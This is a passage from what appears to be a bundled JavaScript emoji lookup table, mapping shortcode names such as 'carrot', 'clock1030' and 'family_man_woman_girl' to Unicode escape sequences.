1698 "capricorn": "\u2651\uFE0F",
1699 "car": "\u{1F697}",
1700 "card_file_box": "\u{1F5C3}",
1701 "card_index": "\u{1F4C7}",
1702 "card_index_dividers": "\u{1F5C2}",
1703 "carousel_horse": "\u{1F3A0}",
1704 "carrot": "\u{1F955}",
1705 "cat": "\u{1F431}",
1706 "cat2": "\u{1F408}",
1707 "cd": "\u{1F4BF}",
1708 "chains": "\u26D3",
1709 "champagne": "\u{1F37E}",
1710 "chart": "\u{1F4B9}",
1711 "chart_with_downwards_trend": "\u{1F4C9}",
1712 "chart_with_upwards_trend": "\u{1F4C8}",
1713 "checkered_flag": "\u{1F3C1}",
1714 "cheese": "\u{1F9C0}",
1715 "cherries": "\u{1F352}",
1716 "cherry_blossom": "\u{1F338}",
1717 "chestnut": "\u{1F330}",
1718 "chicken": "\u{1F414}",
1719 "children_crossing": "\u{1F6B8}",
1720 "chipmunk": "\u{1F43F}",
1721 "chocolate_bar": "\u{1F36B}",
1722 "christmas_tree": "\u{1F384}",
1723 "church": "\u26EA\uFE0F",
1724 "cinema": "\u{1F3A6}",
1725 "circus_tent": "\u{1F3AA}",
1726 "city_sunrise": "\u{1F307}",
1727 "city_sunset": "\u{1F306}",
1728 "cityscape": "\u{1F3D9}",
1729 "cl": "\u{1F191}",
1730 "clamp": "\u{1F5DC}",
1731 "clap": "\u{1F44F}",
1732 "clapper": "\u{1F3AC}",
1733 "classical_building": "\u{1F3DB}",
1734 "clinking_glasses": "\u{1F942}",
1735 "clipboard": "\u{1F4CB}",
1736 "clock1": "\u{1F550}",
1737 "clock10": "\u{1F559}",
1738 "clock1030": "\u{1F565}",
1739 "clock11": "\u{1F55A}",
1740 "clock1130": "\u{1F566}",
1741 "clock12": "\u{1F55B}",
1742 "clock1230": "\u{1F567}",
1743 "clock130": "\u{1F55C}",
1744 "clock2": "\u{1F551}",
1745 "clock230": "\u{1F55D}",
1746 "clock3": "\u{1F552}",
1747 "clock330": "\u{1F55E}",
1748 "clock4": "\u{1F553}",
1749 "clock430": "\u{1F55F}",
1750 "clock5": "\u{1F554}",
1751 "clock530": "\u{1F560}",
1752 "clock6": "\u{1F555}",
1753 "clock630": "\u{1F561}",
1754 "clock7": "\u{1F556}",
1755 "clock730": "\u{1F562}",
1756 "clock8": "\u{1F557}",
1757 "clock830": "\u{1F563}",
1758 "clock9": "\u{1F558}",
1759 "clock930": "\u{1F564}",
1760 "closed_book": "\u{1F4D5}",
1761 "closed_lock_with_key": "\u{1F510}",
1762 "closed_umbrella": "\u{1F302}",
1763 "cloud": "\u2601\uFE0F",
1764 "cloud_with_lightning": "\u{1F329}",
1765 "cloud_with_lightning_and_rain": "\u26C8",
1766 "cloud_with_rain": "\u{1F327}",
1767 "cloud_with_snow": "\u{1F328}",
1768 "clown_face": "\u{1F921}",
1769 "clubs": "\u2663\uFE0F",
1770 "cocktail": "\u{1F378}",
1771 "coffee": "\u2615\uFE0F",
1772 "coffin": "\u26B0\uFE0F",
1773 "cold_sweat": "\u{1F630}",
1774 "comet": "\u2604\uFE0F",
1775 "computer": "\u{1F4BB}",
1776 "computer_mouse": "\u{1F5B1}",
1777 "confetti_ball": "\u{1F38A}",
1778 "confounded": "\u{1F616}",
1779 "confused": "\u{1F615}",
1780 "congratulations": "\u3297\uFE0F",
1781 "construction": "\u{1F6A7}",
1782 "construction_worker_man": "\u{1F477}",
1783 "construction_worker_woman": "\u{1F477}&zwj;\u2640\uFE0F",
1784 "control_knobs": "\u{1F39B}",
1785 "convenience_store": "\u{1F3EA}",
1786 "cookie": "\u{1F36A}",
1787 "cool": "\u{1F192}",
1788 "policeman": "\u{1F46E}",
1789 "copyright": "\xA9\uFE0F",
1790 "corn": "\u{1F33D}",
1791 "couch_and_lamp": "\u{1F6CB}",
1792 "couple": "\u{1F46B}",
1793 "couple_with_heart_woman_man": "\u{1F491}",
1794 "couple_with_heart_man_man": "\u{1F468}&zwj;\u2764\uFE0F&zwj;\u{1F468}",
1795 "couple_with_heart_woman_woman": "\u{1F469}&zwj;\u2764\uFE0F&zwj;\u{1F469}",
1796 "couplekiss_man_man": "\u{1F468}&zwj;\u2764\uFE0F&zwj;\u{1F48B}&zwj;\u{1F468}",
1797 "couplekiss_man_woman": "\u{1F48F}",
1798 "couplekiss_woman_woman": "\u{1F469}&zwj;\u2764\uFE0F&zwj;\u{1F48B}&zwj;\u{1F469}",
1799 "cow": "\u{1F42E}",
1800 "cow2": "\u{1F404}",
1801 "cowboy_hat_face": "\u{1F920}",
1802 "crab": "\u{1F980}",
1803 "crayon": "\u{1F58D}",
1804 "credit_card": "\u{1F4B3}",
1805 "crescent_moon": "\u{1F319}",
1806 "cricket": "\u{1F3CF}",
1807 "crocodile": "\u{1F40A}",
1808 "croissant": "\u{1F950}",
1809 "crossed_fingers": "\u{1F91E}",
1810 "crossed_flags": "\u{1F38C}",
1811 "crossed_swords": "\u2694\uFE0F",
1812 "crown": "\u{1F451}",
1813 "cry": "\u{1F622}",
1814 "crying_cat_face": "\u{1F63F}",
1815 "crystal_ball": "\u{1F52E}",
1816 "cucumber": "\u{1F952}",
1817 "cupid": "\u{1F498}",
1818 "curly_loop": "\u27B0",
1819 "currency_exchange": "\u{1F4B1}",
1820 "curry": "\u{1F35B}",
1821 "custard": "\u{1F36E}",
1822 "customs": "\u{1F6C3}",
1823 "cyclone": "\u{1F300}",
1824 "dagger": "\u{1F5E1}",
1825 "dancer": "\u{1F483}",
1826 "dancing_women": "\u{1F46F}",
1827 "dancing_men": "\u{1F46F}&zwj;\u2642\uFE0F",
1828 "dango": "\u{1F361}",
1829 "dark_sunglasses": "\u{1F576}",
1830 "dart": "\u{1F3AF}",
1831 "dash": "\u{1F4A8}",
1832 "date": "\u{1F4C5}",
1833 "deciduous_tree": "\u{1F333}",
1834 "deer": "\u{1F98C}",
1835 "department_store": "\u{1F3EC}",
1836 "derelict_house": "\u{1F3DA}",
1837 "desert": "\u{1F3DC}",
1838 "desert_island": "\u{1F3DD}",
1839 "desktop_computer": "\u{1F5A5}",
1840 "male_detective": "\u{1F575}\uFE0F",
1841 "diamond_shape_with_a_dot_inside": "\u{1F4A0}",
1842 "diamonds": "\u2666\uFE0F",
1843 "disappointed": "\u{1F61E}",
1844 "disappointed_relieved": "\u{1F625}",
1845 "dizzy": "\u{1F4AB}",
1846 "dizzy_face": "\u{1F635}",
1847 "do_not_litter": "\u{1F6AF}",
1848 "dog": "\u{1F436}",
1849 "dog2": "\u{1F415}",
1850 "dollar": "\u{1F4B5}",
1851 "dolls": "\u{1F38E}",
1852 "dolphin": "\u{1F42C}",
1853 "door": "\u{1F6AA}",
1854 "doughnut": "\u{1F369}",
1855 "dove": "\u{1F54A}",
1856 "dragon": "\u{1F409}",
1857 "dragon_face": "\u{1F432}",
1858 "dress": "\u{1F457}",
1859 "dromedary_camel": "\u{1F42A}",
1860 "drooling_face": "\u{1F924}",
1861 "droplet": "\u{1F4A7}",
1862 "drum": "\u{1F941}",
1863 "duck": "\u{1F986}",
1864 "dvd": "\u{1F4C0}",
1865 "e-mail": "\u{1F4E7}",
1866 "eagle": "\u{1F985}",
1867 "ear": "\u{1F442}",
1868 "ear_of_rice": "\u{1F33E}",
1869 "earth_africa": "\u{1F30D}",
1870 "earth_americas": "\u{1F30E}",
1871 "earth_asia": "\u{1F30F}",
1872 "egg": "\u{1F95A}",
1873 "eggplant": "\u{1F346}",
1874 "eight_pointed_black_star": "\u2734\uFE0F",
1875 "eight_spoked_asterisk": "\u2733\uFE0F",
1876 "electric_plug": "\u{1F50C}",
1877 "elephant": "\u{1F418}",
1878 "email": "\u2709\uFE0F",
1879 "end": "\u{1F51A}",
1880 "envelope_with_arrow": "\u{1F4E9}",
1881 "euro": "\u{1F4B6}",
1882 "european_castle": "\u{1F3F0}",
1883 "european_post_office": "\u{1F3E4}",
1884 "evergreen_tree": "\u{1F332}",
1885 "exclamation": "\u2757\uFE0F",
1886 "expressionless": "\u{1F611}",
1887 "eye": "\u{1F441}",
1888 "eye_speech_bubble": "\u{1F441}&zwj;\u{1F5E8}",
1889 "eyeglasses": "\u{1F453}",
1890 "eyes": "\u{1F440}",
1891 "face_with_head_bandage": "\u{1F915}",
1892 "face_with_thermometer": "\u{1F912}",
1893 "fist_oncoming": "\u{1F44A}",
1894 "factory": "\u{1F3ED}",
1895 "fallen_leaf": "\u{1F342}",
1896 "family_man_woman_boy": "\u{1F46A}",
1897 "family_man_boy": "\u{1F468}&zwj;\u{1F466}",
1898 "family_man_boy_boy": "\u{1F468}&zwj;\u{1F466}&zwj;\u{1F466}",
1899 "family_man_girl": "\u{1F468}&zwj;\u{1F467}",
1900 "family_man_girl_boy": "\u{1F468}&zwj;\u{1F467}&zwj;\u{1F466}",
1901 "family_man_girl_girl": "\u{1F468}&zwj;\u{1F467}&zwj;\u{1F467}",
1902 "family_man_man_boy": "\u{1F468}&zwj;\u{1F468}&zwj;\u{1F466}",
1903 "family_man_man_boy_boy": "\u{1F468}&zwj;\u{1F468}&zwj;\u{1F466}&zwj;\u{1F466}",
1904 "family_man_man_girl": "\u{1F468}&zwj;\u{1F468}&zwj;\u{1F467}",
1905 "family_man_man_girl_boy": "\u{1F468}&zwj;\u{1F468}&zwj;\u{1F467}&zwj;\u{1F466}",
1906 "family_man_man_girl_girl": "\u{1F468}&zwj;\u{1F468}&zwj;\u{1F467}&zwj;\u{1F467}",
1907 "family_man_woman_boy_boy": "\u{1F468}&zwj;\u{1F469}&zwj;\u{1F466}&zwj;\u{1F466}",
1908 "family_man_woman_girl": "\u{1F468}&zwj;\u{1F469}&zwj;\u{1F467}",
1909 "family_man_woman_girl_boy": "\u{1F468}&zwj;\u{1F469}&zwj;\u{1F467}&zwj;\u{1F466}",
1910 "family_man_woman_girl_girl": "\u{1F468}&zwj;\u{1F469}&zwj;\u{1F467}&zwj;\u{1F467}",
1911 "family_woman_boy": "\u{1F469}&zwj;\u{1F466}",
1912 "family_woman_boy_boy": "\u{1F469}&zwj;\u{1F466}&zwj;\u{1F466}",
1913 "family_woman_girl": "\u{1F469}&zwj;\u{1F467}",
1914 "family_woman_girl_boy": "\u{1F469}&zwj;\u{1F467}&zwj;\u{1F466}",
1915 "family_woman_girl_girl": "\u{1F469}&zwj;\u{1F467}&zwj;\u{1F467}",
1916 "family_woman_woman_boy": "\u{1F469}&zwj;\u{1F469}&zwj;\u{1F466}",
1917 "family_woman_woman_boy_boy": "\u{1F469}&zwj;\u{1F469}&zwj;\u{1F466}&zwj;\u{1F466}",
1918 "family_woman_woman_girl": "\u{1F469}&zwj;\u{1F469}&zwj;\u{1F467}",
1919 "family_woman_woman_girl_boy": "\u{1F469}&zwj;\u{1F469}&zwj;\u{1F467}&zwj;\u{1F466}",
1920 "family_woman_woman_girl_girl": "\u{1F469}&zwj;\u{1F469}&zwj;\u{1F467}&zwj;\u{1F467}",
1921 "fast_forward": "\u23E9",
1922 "fax": "\u{1F4E0}",
1923 "fearful": "\u{1F628}",
1924 "feet": "\u{1F43E}",
1925 "female_detective": "\u{1F575}\uFE0F&zwj;\u2640\uFE0F",
1926 "ferris_wheel": "\u{1F3A1}",
1927 "ferry": "\u26F4",
1928 "field_hockey": "\u{1F3D1}",
1929 "file_cabinet": "\u{1F5C4}",
1930 "file_folder": "\u{1F4C1}",
1931 "film_projector": "\u{1F4FD}",
1932 "film_strip": "\u{1F39E}",
1933 "fire": "\u{1F525}",
1934 "fire_engine": "\u{1F692}",
1935 "fireworks": "\u{1F386}",
1936 "first_quarter_moon": "\u{1F313}",
1937 "first_quarter_moon_with_face": "\u{1F31B}",
1938 "fish": "\u{1F41F}",
1939 "fish_cake": "\u{1F365}",
1940 "fishing_pole_and_fish": "\u{1F3A3}",
1941 "fist_raised": "\u270A",
1942 "fist_left": "\u{1F91B}",
1943 "fist_right": "\u{1F91C}",
1944 "flags": "\u{1F38F}",
1945 "flashlight": "\u{1F526}",
1946 "fleur_de_lis": "\u269C\uFE0F",
1947 "flight_arrival": "\u{1F6EC}",
1948 "flight_departure": "\u{1F6EB}",
1949 "floppy_disk": "\u{1F4BE}",
1950 "flower_playing_cards": "\u{1F3B4}",
1951 "flushed": "\u{1F633}",
1952 "fog": "\u{1F32B}",
1953 "foggy": "\u{1F301}",
1954 "football": "\u{1F3C8}",
1955 "footprints": "\u{1F463}",
1956 "fork_and_knife": "\u{1F374}",
1957 "fountain": "\u26F2\uFE0F",
1958 "fountain_pen": "\u{1F58B}",
1959 "four_leaf_clover": "\u{1F340}",
1960 "fox_face": "\u{1F98A}",
1961 "framed_picture": "\u{1F5BC}",
1962 "free": "\u{1F193}",
1963 "fried_egg": "\u{1F373}",
1964 "fried_shrimp": "\u{1F364}",
1965 "fries": "\u{1F35F}",
1966 "frog": "\u{1F438}",
1967 "frowning": "\u{1F626}",
1968 "frowning_face": "\u2639\uFE0F",
1969 "frowning_man": "\u{1F64D}&zwj;\u2642\uFE0F",
1970 "frowning_woman": "\u{1F64D}",
1971 "middle_finger": "\u{1F595}",
1972 "fuelpump": "\u26FD\uFE0F",
1973 "full_moon": "\u{1F315}",
1974 "full_moon_with_face": "\u{1F31D}",
1975 "funeral_urn": "\u26B1\uFE0F",
1976 "game_die": "\u{1F3B2}",
1977 "gear": "\u2699\uFE0F",
1978 "gem": "\u{1F48E}",
1979 "gemini": "\u264A\uFE0F",
1980 "ghost": "\u{1F47B}",
1981 "gift": "\u{1F381}",
1982 "gift_heart": "\u{1F49D}",
1983 "girl": "\u{1F467}",
1984 "globe_with_meridians": "\u{1F310}",
1985 "goal_net": "\u{1F945}",
1986 "goat": "\u{1F410}",
1987 "golf": "\u26F3\uFE0F",
1988 "golfing_man": "\u{1F3CC}\uFE0F",
1989 "golfing_woman": "\u{1F3CC}\uFE0F&zwj;\u2640\uFE0F",
1990 "gorilla": "\u{1F98D}",
1991 "grapes": "\u{1F347}",
1992 "green_apple": "\u{1F34F}",
1993 "green_book": "\u{1F4D7}",
1994 "green_heart": "\u{1F49A}",
1995 "green_salad": "\u{1F957}",
1996 "grey_exclamation": "\u2755",
1997 "grey_question": "\u2754",
1998 "grimacing": "\u{1F62C}",
1999 "grin": "\u{1F601}",
2000 "grinning": "\u{1F600}",
2001 "guardsman": "\u{1F482}",
2002 "guardswoman": "\u{1F482}&zwj;\u2640\uFE0F",
2003 "guitar": "\u{1F3B8}",
2004 "gun": "\u{1F52B}",
2005 "haircut_woman": "\u{1F487}",
2006 "haircut_man": "\u{1F487}&zwj;\u2642\uFE0F",
2007 "hamburger": "\u{1F354}",
2008 "hammer": "\u{1F528}",
2009 "hammer_and_pick": "\u2692",
2010 "hammer_and_wrench": "\u{1F6E0}",
2011 "hamster": "\u{1F439}",
2012 "hand": "\u270B",
2013 "handbag": "\u{1F45C}",
2014 "handshake": "\u{1F91D}",
2015 "hankey": "\u{1F4A9}",
2016 "hatched_chick": "\u{1F425}",
2017 "hatching_chick": "\u{1F423}",
2018 "headphones": "\u{1F3A7}",
2019 "hear_no_evil": "\u{1F649}",
2020 "heart": "\u2764\uFE0F",
2021 "heart_decoration": "\u{1F49F}",
2022 "heart_eyes": "\u{1F60D}",
2023 "heart_eyes_cat": "\u{1F63B}",
2024 "heartbeat": "\u{1F493}",
2025 "heartpulse": "\u{1F497}",
2026 "hearts": "\u2665\uFE0F",
2027 "heavy_check_mark": "\u2714\uFE0F",
2028 "heavy_division_sign": "\u2797",
2029 "heavy_dollar_sign": "\u{1F4B2}",
2030 "heavy_heart_exclamation": "\u2763\uFE0F",
2031 "heavy_minus_sign": "\u2796",
2032 "heavy_multiplication_x": "\u2716\uFE0F",
2033 "heavy_plus_sign": "\u2795",
2034 "helicopter": "\u{1F681}",
2035 "herb": "\u{1F33F}",
2036 "hibiscus": "\u{1F33A}",
2037 "high_brightness": "\u{1F506}",
2038 "high_heel": "\u{1F460}",
2039 "hocho": "\u{1F52A}",
2040 "hole": "\u{1F573}",
2041 "honey_pot": "\u{1F36F}",
2042 "horse": "\u{1F434}",
2043 "horse_racing": "\u{1F3C7}",
2044 "hospital": "\u{1F3E5}",
2045 "hot_pepper": "\u{1F336}",
2046 "hotdog": "\u{1F32D}",
2047 "hotel": "\u{1F3E8}",
2048 "hotsprings": "\u2668\uFE0F",
2049 "hourglass": "\u231B\uFE0F",
2050 "hourglass_flowing_sand": "\u23F3",
2051 "house": "\u{1F3E0}",
2052 "house_with_garden": "\u{1F3E1}",
2053 "houses": "\u{1F3D8}",
2054 "hugs": "\u{1F917}",
2055 "hushed": "\u{1F62F}",
2056 "ice_cream": "\u{1F368}",
2057 "ice_hockey": "\u{1F3D2}",
2058 "ice_skate": "\u26F8",
2059 "icecream": "\u{1F366}",
2060 "id": "\u{1F194}",
2061 "ideograph_advantage": "\u{1F250}",
2062 "imp": "\u{1F47F}",
2063 "inbox_tray": "\u{1F4E5}",
2064 "incoming_envelope": "\u{1F4E8}",
2065 "tipping_hand_woman": "\u{1F481}",
2066 "information_source": "\u2139\uFE0F",
2067 "innocent": "\u{1F607}",
2068 "interrobang": "\u2049\uFE0F",
2069 "iphone": "\u{1F4F1}",
2070 "izakaya_lantern": "\u{1F3EE}",
2071 "jack_o_lantern": "\u{1F383}",
2072 "japan": "\u{1F5FE}",
2073 "japanese_castle": "\u{1F3EF}",
2074 "japanese_goblin": "\u{1F47A}",
2075 "japanese_ogre": "\u{1F479}",
2076 "jeans": "\u{1F456}",
2077 "joy": "\u{1F602}",
2078 "joy_cat": "\u{1F639}",
2079 "joystick": "\u{1F579}",
2080 "kaaba": "\u{1F54B}",
2081 "key": "\u{1F511}",
2082 "keyboard": "\u2328\uFE0F",
2083 "keycap_ten": "\u{1F51F}",
2084 "kick_scooter": "\u{1F6F4}",
2085 "kimono": "\u{1F458}",
2086 "kiss": "\u{1F48B}",
2087 "kissing": "\u{1F617}",
2088 "kissing_cat": "\u{1F63D}",
2089 "kissing_closed_eyes": "\u{1F61A}",
2090 "kissing_heart": "\u{1F618}",
2091 "kissing_smiling_eyes": "\u{1F619}",
2092 "kiwi_fruit": "\u{1F95D}",
2093 "koala": "\u{1F428}",
2094 "koko": "\u{1F201}",
2095 "label": "\u{1F3F7}",
2096 "large_blue_circle": "\u{1F535}",
2097 "large_blue_diamond": "\u{1F537}",
2098 "large_orange_diamond": "\u{1F536}",
2099 "last_quarter_moon": "\u{1F317}",
2100 "last_quarter_moon_with_face": "\u{1F31C}",
2101 "latin_cross": "\u271D\uFE0F",
2102 "laughing": "\u{1F606}",
2103 "leaves": "\u{1F343}",
2104 "ledger": "\u{1F4D2}",
2105 "left_luggage": "\u{1F6C5}",
2106 "left_right_arrow": "\u2194\uFE0F",
2107 "leftwards_arrow_with_hook": "\u21A9\uFE0F",
2108 "lemon": "\u{1F34B}",
2109 "leo": "\u264C\uFE0F",
2110 "leopard": "\u{1F406}",
2111 "level_slider": "\u{1F39A}",
2112 "libra": "\u264E\uFE0F",
2113 "light_rail": "\u{1F688}",
2114 "link": "\u{1F517}",
2115 "lion": "\u{1F981}",
2116 "lips": "\u{1F444}",
2117 "lipstick": "\u{1F484}",
2118 "lizard": "\u{1F98E}",
2119 "lock": "\u{1F512}",
2120 "lock_with_ink_pen": "\u{1F50F}",
2121 "lollipop": "\u{1F36D}",
2122 "loop": "\u27BF",
2123 "loud_sound": "\u{1F50A}",
2124 "loudspeaker": "\u{1F4E2}",
2125 "love_hotel": "\u{1F3E9}",
2126 "love_letter": "\u{1F48C}",
2127 "low_brightness": "\u{1F505}",
2128 "lying_face": "\u{1F925}",
2129 "m": "\u24C2\uFE0F",
2130 "mag": "\u{1F50D}",
2131 "mag_right": "\u{1F50E}",
2132 "mahjong": "\u{1F004}\uFE0F",
2133 "mailbox": "\u{1F4EB}",
2134 "mailbox_closed": "\u{1F4EA}",
2135 "mailbox_with_mail": "\u{1F4EC}",
2136 "mailbox_with_no_mail": "\u{1F4ED}",
2137 "man": "\u{1F468}",
2138 "man_artist": "\u{1F468}&zwj;\u{1F3A8}",
2139 "man_astronaut": "\u{1F468}&zwj;\u{1F680}",
2140 "man_cartwheeling": "\u{1F938}&zwj;\u2642\uFE0F",
2141 "man_cook": "\u{1F468}&zwj;\u{1F373}",
2142 "man_dancing": "\u{1F57A}",
2143 "man_facepalming": "\u{1F926}&zwj;\u2642\uFE0F",
2144 "man_factory_worker": "\u{1F468}&zwj;\u{1F3ED}",
2145 "man_farmer": "\u{1F468}&zwj;\u{1F33E}",
2146 "man_firefighter": "\u{1F468}&zwj;\u{1F692}",
2147 "man_health_worker": "\u{1F468}&zwj;\u2695\uFE0F",
2148 "man_in_tuxedo": "\u{1F935}",
2149 "man_judge": "\u{1F468}&zwj;\u2696\uFE0F",
2150 "man_juggling": "\u{1F939}&zwj;\u2642\uFE0F",
2151 "man_mechanic": "\u{1F468}&zwj;\u{1F527}",
2152 "man_office_worker": "\u{1F468}&zwj;\u{1F4BC}",
2153 "man_pilot": "\u{1F468}&zwj;\u2708\uFE0F",
2154 "man_playing_handball": "\u{1F93E}&zwj;\u2642\uFE0F",
2155 "man_playing_water_polo": "\u{1F93D}&zwj;\u2642\uFE0F",
2156 "man_scientist": "\u{1F468}&zwj;\u{1F52C}",
2157 "man_shrugging": "\u{1F937}&zwj;\u2642\uFE0F",
2158 "man_singer": "\u{1F468}&zwj;\u{1F3A4}",
2159 "man_student": "\u{1F468}&zwj;\u{1F393}",
2160 "man_teacher": "\u{1F468}&zwj;\u{1F3EB}",
2161 "man_technologist": "\u{1F468}&zwj;\u{1F4BB}",
2162 "man_with_gua_pi_mao": "\u{1F472}",
2163 "man_with_turban": "\u{1F473}",
2164 "tangerine": "\u{1F34A}",
2165 "mans_shoe": "\u{1F45E}",
2166 "mantelpiece_clock": "\u{1F570}",
2167 "maple_leaf": "\u{1F341}",
2168 "martial_arts_uniform": "\u{1F94B}",
2169 "mask": "\u{1F637}",
2170 "massage_woman": "\u{1F486}",
2171 "massage_man": "\u{1F486}&zwj;\u2642\uFE0F",
2172 "meat_on_bone": "\u{1F356}",
2173 "medal_military": "\u{1F396}",
2174 "medal_sports": "\u{1F3C5}",
2175 "mega": "\u{1F4E3}",
2176 "melon": "\u{1F348}",
2177 "memo": "\u{1F4DD}",
2178 "men_wrestling": "\u{1F93C}&zwj;\u2642\uFE0F",
2179 "menorah": "\u{1F54E}",
2180 "mens": "\u{1F6B9}",
2181 "metal": "\u{1F918}",
2182 "metro": "\u{1F687}",
2183 "microphone": "\u{1F3A4}",
2184 "microscope": "\u{1F52C}",
2185 "milk_glass": "\u{1F95B}",
2186 "milky_way": "\u{1F30C}",
2187 "minibus": "\u{1F690}",
2188 "minidisc": "\u{1F4BD}",
2189 "mobile_phone_off": "\u{1F4F4}",
2190 "money_mouth_face": "\u{1F911}",
2191 "money_with_wings": "\u{1F4B8}",
2192 "moneybag": "\u{1F4B0}",
2193 "monkey": "\u{1F412}",
2194 "monkey_face": "\u{1F435}",
2195 "monorail": "\u{1F69D}",
2196 "moon": "\u{1F314}",
2197 "mortar_board": "\u{1F393}",
2198 "mosque": "\u{1F54C}",
2199 "motor_boat": "\u{1F6E5}",
2200 "motor_scooter": "\u{1F6F5}",
2201 "motorcycle": "\u{1F3CD}",
2202 "motorway": "\u{1F6E3}",
2203 "mount_fuji": "\u{1F5FB}",
2204 "mountain": "\u26F0",
2205 "mountain_biking_man": "\u{1F6B5}",
2206 "mountain_biking_woman": "\u{1F6B5}&zwj;\u2640\uFE0F",
2207 "mountain_cableway": "\u{1F6A0}",
2208 "mountain_railway": "\u{1F69E}",
2209 "mountain_snow": "\u{1F3D4}",
2210 "mouse": "\u{1F42D}",
2211 "mouse2": "\u{1F401}",
2212 "movie_camera": "\u{1F3A5}",
2213 "moyai": "\u{1F5FF}",
2214 "mrs_claus": "\u{1F936}",
2215 "muscle": "\u{1F4AA}",
2216 "mushroom": "\u{1F344}",
2217 "musical_keyboard": "\u{1F3B9}",
2218 "musical_note": "\u{1F3B5}",
2219 "musical_score": "\u{1F3BC}",
2220 "mute": "\u{1F507}",
2221 "nail_care": "\u{1F485}",
2222 "name_badge": "\u{1F4DB}",
2223 "national_park": "\u{1F3DE}",
2224 "nauseated_face": "\u{1F922}",
2225 "necktie": "\u{1F454}",
2226 "negative_squared_cross_mark": "\u274E",
2227 "nerd_face": "\u{1F913}",
2228 "neutral_face": "\u{1F610}",
2229 "new": "\u{1F195}",
2230 "new_moon": "\u{1F311}",
2231 "new_moon_with_face": "\u{1F31A}",
2232 "newspaper": "\u{1F4F0}",
2233 "newspaper_roll": "\u{1F5DE}",
2234 "next_track_button": "\u23ED",
2235 "ng": "\u{1F196}",
2236 "no_good_man": "\u{1F645}&zwj;\u2642\uFE0F",
2237 "no_good_woman": "\u{1F645}",
2238 "night_with_stars": "\u{1F303}",
2239 "no_bell": "\u{1F515}",
2240 "no_bicycles": "\u{1F6B3}",
2241 "no_entry": "\u26D4\uFE0F",
2242 "no_entry_sign": "\u{1F6AB}",
2243 "no_mobile_phones": "\u{1F4F5}",
2244 "no_mouth": "\u{1F636}",
2245 "no_pedestrians": "\u{1F6B7}",
2246 "no_smoking": "\u{1F6AD}",
2247 "non-potable_water": "\u{1F6B1}",
2248 "nose": "\u{1F443}",
2249 "notebook": "\u{1F4D3}",
2250 "notebook_with_decorative_cover": "\u{1F4D4}",
2251 "notes": "\u{1F3B6}",
2252 "nut_and_bolt": "\u{1F529}",
2253 "o": "\u2B55\uFE0F",
2254 "o2": "\u{1F17E}\uFE0F",
2255 "ocean": "\u{1F30A}",
2256 "octopus": "\u{1F419}",
2257 "oden": "\u{1F362}",
2258 "office": "\u{1F3E2}",
2259 "oil_drum": "\u{1F6E2}",
2260 "ok": "\u{1F197}",
2261 "ok_hand": "\u{1F44C}",
2262 "ok_man": "\u{1F646}&zwj;\u2642\uFE0F",
2263 "ok_woman": "\u{1F646}",
2264 "old_key": "\u{1F5DD}",
2265 "older_man": "\u{1F474}",
2266 "older_woman": "\u{1F475}",
2267 "om": "\u{1F549}",
2268 "on": "\u{1F51B}",
2269 "oncoming_automobile": "\u{1F698}",
2270 "oncoming_bus": "\u{1F68D}",
2271 "oncoming_police_car": "\u{1F694}",
2272 "oncoming_taxi": "\u{1F696}",
2273 "open_file_folder": "\u{1F4C2}",
2274 "open_hands": "\u{1F450}",
2275 "open_mouth": "\u{1F62E}",
2276 "open_umbrella": "\u2602\uFE0F",
2277 "ophiuchus": "\u26CE",
2278 "orange_book": "\u{1F4D9}",
2279 "orthodox_cross": "\u2626\uFE0F",
2280 "outbox_tray": "\u{1F4E4}",
2281 "owl": "\u{1F989}",
2282 "ox": "\u{1F402}",
2283 "package": "\u{1F4E6}",
2284 "page_facing_up": "\u{1F4C4}",
2285 "page_with_curl": "\u{1F4C3}",
2286 "pager": "\u{1F4DF}",
2287 "paintbrush": "\u{1F58C}",
2288 "palm_tree": "\u{1F334}",
2289 "pancakes": "\u{1F95E}",
2290 "panda_face": "\u{1F43C}",
2291 "paperclip": "\u{1F4CE}",
2292 "paperclips": "\u{1F587}",
2293 "parasol_on_ground": "\u26F1",
2294 "parking": "\u{1F17F}\uFE0F",
2295 "part_alternation_mark": "\u303D\uFE0F",
2296 "partly_sunny": "\u26C5\uFE0F",
2297 "passenger_ship": "\u{1F6F3}",
2298 "passport_control": "\u{1F6C2}",
2299 "pause_button": "\u23F8",
2300 "peace_symbol": "\u262E\uFE0F",
2301 "peach": "\u{1F351}",
2302 "peanuts": "\u{1F95C}",
2303 "pear": "\u{1F350}",
2304 "pen": "\u{1F58A}",
2305 "pencil2": "\u270F\uFE0F",
2306 "penguin": "\u{1F427}",
2307 "pensive": "\u{1F614}",
2308 "performing_arts": "\u{1F3AD}",
2309 "persevere": "\u{1F623}",
2310 "person_fencing": "\u{1F93A}",
2311 "pouting_woman": "\u{1F64E}",
2312 "phone": "\u260E\uFE0F",
2313 "pick": "\u26CF",
2314 "pig": "\u{1F437}",
2315 "pig2": "\u{1F416}",
2316 "pig_nose": "\u{1F43D}",
2317 "pill": "\u{1F48A}",
2318 "pineapple": "\u{1F34D}",
2319 "ping_pong": "\u{1F3D3}",
2320 "pisces": "\u2653\uFE0F",
2321 "pizza": "\u{1F355}",
2322 "place_of_worship": "\u{1F6D0}",
2323 "plate_with_cutlery": "\u{1F37D}",
2324 "play_or_pause_button": "\u23EF",
2325 "point_down": "\u{1F447}",
2326 "point_left": "\u{1F448}",
2327 "point_right": "\u{1F449}",
2328 "point_up": "\u261D\uFE0F",
2329 "point_up_2": "\u{1F446}",
2330 "police_car": "\u{1F693}",
2331 "policewoman": "\u{1F46E}&zwj;\u2640\uFE0F",
2332 "poodle": "\u{1F429}",
2333 "popcorn": "\u{1F37F}",
2334 "post_office": "\u{1F3E3}",
2335 "postal_horn": "\u{1F4EF}",
2336 "postbox": "\u{1F4EE}",
2337 "potable_water": "\u{1F6B0}",
2338 "potato": "\u{1F954}",
2339 "pouch": "\u{1F45D}",
2340 "poultry_leg": "\u{1F357}",
2341 "pound": "\u{1F4B7}",
2342 "rage": "\u{1F621}",
2343 "pouting_cat": "\u{1F63E}",
2344 "pouting_man": "\u{1F64E}&zwj;\u2642\uFE0F",
2345 "pray": "\u{1F64F}",
2346 "prayer_beads": "\u{1F4FF}",
2347 "pregnant_woman": "\u{1F930}",
2348 "previous_track_button": "\u23EE",
2349 "prince": "\u{1F934}",
2350 "princess": "\u{1F478}",
2351 "printer": "\u{1F5A8}",
2352 "purple_heart": "\u{1F49C}",
2353 "purse": "\u{1F45B}",
2354 "pushpin": "\u{1F4CC}",
2355 "put_litter_in_its_place": "\u{1F6AE}",
2356 "question": "\u2753",
2357 "rabbit": "\u{1F430}",
2358 "rabbit2": "\u{1F407}",
2359 "racehorse": "\u{1F40E}",
